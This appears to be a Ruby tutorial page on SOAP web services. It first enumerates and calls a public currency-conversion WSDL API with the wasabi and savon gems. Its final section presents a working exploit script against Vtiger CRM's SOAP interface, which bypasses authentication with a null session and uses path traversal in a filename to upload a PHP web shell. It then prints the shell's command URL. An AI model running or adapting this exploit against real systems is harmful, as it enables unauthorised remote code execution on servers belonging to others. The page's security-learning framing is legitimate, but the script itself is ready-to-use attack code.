Interacting with Web Services

Interacting with Web Services

SOAP - WSDL

Generally speaking, dealing with SOAP means dealing with XML messages and a WSDL file (also XML) that describes how to use a given SOAP API. Ruby has really elegant way to do so and let’s to get our hand dirty with an exploit

  • Install wasabi, sabvon & httpclient gems ``` gem install wasabi savon httpclient

#### Enumeration

require 'wasabi'

url = "http://www.webservicex.net/CurrencyConvertor.asmx?WSDL"

document = Wasabi.document url

Parsing the document

document.parser

SOAP XML

document.xml

Getting the endpoint

document.endpoint

Getting the target namespace

document.namespace

Enumerate all the SOAP operations/actions

document.operations

Enumerate input parameters for particular operation

document.operation_input_parameters :conversion_rate

Enumerate all available currencies

document.parser.document.element_children.children[1].children[1].children[3].children[1].children.map {|c| c.attributes.values[0].to_s}


Results

url = "http://www.webservicex.net/CurrencyConvertor.asmx?WSDL" => "http://www.webservicex.net/CurrencyConvertor.asmx?WSDL" document = Wasabi.document url => #

Parsing the document

document.parser => #<Wasabi::Parser:0x0000000281ebb8 @deferred_types=[], @document= #(Document:0x140fa3c { name = "document", children = [ #(Element:0x140f294 { name = "definitions", namespace = #(Namespace:0x14017e8 { prefix = "wsdl", href = "http://schemas.xmlsoap.org/wsdl/" }), attributes = [ #(Attr:0x1a507d4 { name = "targetNamespace", value = "http://www.webserviceX.NET/" })], children = [ #(Text "\n "), ---kipped---

Getting the endpoint

document.endpoint => #

Getting the target namespace

document.namespace => "http://www.webserviceX.NET/"

Enumerate all the SOAP operations/actions

document.operations => {:conversion_rate=> {:action=>"http://www.webserviceX.NET/ConversionRate", :input=>"ConversionRate", :output=>"ConversionRateResponse", :namespace_identifier=>"tns", :parameters=>{:FromCurrency=>{:name=>"FromCurrency", :type=>"Currency"}, :ToCurrency=>{:name=>"ToCurrency", :type=>"Currency"}}}}

Enumerate input parameters for particular operation

document.operation_input_parameters :conversion_rate => {:FromCurrency=>{:name=>"FromCurrency", :type=>"Currency"}, :ToCurrency=>{:name=>"ToCurrency", :type=>"Currency"}}


#### Interaction

require 'savon'

url = "http://www.webservicex.net/CurrencyConvertor.asmx?WSDL" client = Savon.client(wsdl: url)

message = {'FromCurrency' => 'EUR', 'ToCurrency' => 'CAD'} response = client.call(:conversion_rate, message: message).body

response[:conversion_rate_response][:conversion_rate_result]


Results

message = {'FromCurrency' => 'EUR', 'ToCurrency' => 'CAD'} => {"FromCurrency"=>"EUR", "ToCurrency"=>"CAD"} response = client.call(:conversion_rate, message: message).body => {:conversion_rate_response=>{:conversion_rate_result=>"1.4417", :@xmlns=>"http://www.webserviceX.NET/"}}

1.4415


#### Hacking via SOAP vulnerabilities

This is a working exploit for Vtiger CRM SOAP from auth-bypass to shell upload

!/usr/bin/env ruby

KING SABRI | @KINGSABRI

gem install savon httpclient

require 'savon'

if ARGV.size < 1 puts "[+] ruby #{FILE} [WSDL URL]" exit 0 else url = ARGV[0] end

shell_data, shell_name = "", "shell-#{rand(100)}.php"

Start client

client = Savon::Client.new(wsdl: url)

List all available operations

puts "[*] List all available operations " puts client.operations

puts "\n\n[*] Interact with :add_email_attachment operation" response = client.call( :add_email_attachment, message: { emailid: rand(100), filedata: [shell_data].pack("m0"), filename: "../../../../../../#{shell_name}", filesize: shell_data.size, filetype: "php", username: "KING", sessionid: nil } ) puts "[+] PHP Shell on: http://#{URI.parse(url).host}/vtigercrm/soap/#{shell_name}?cmd=id" ```

More about Savon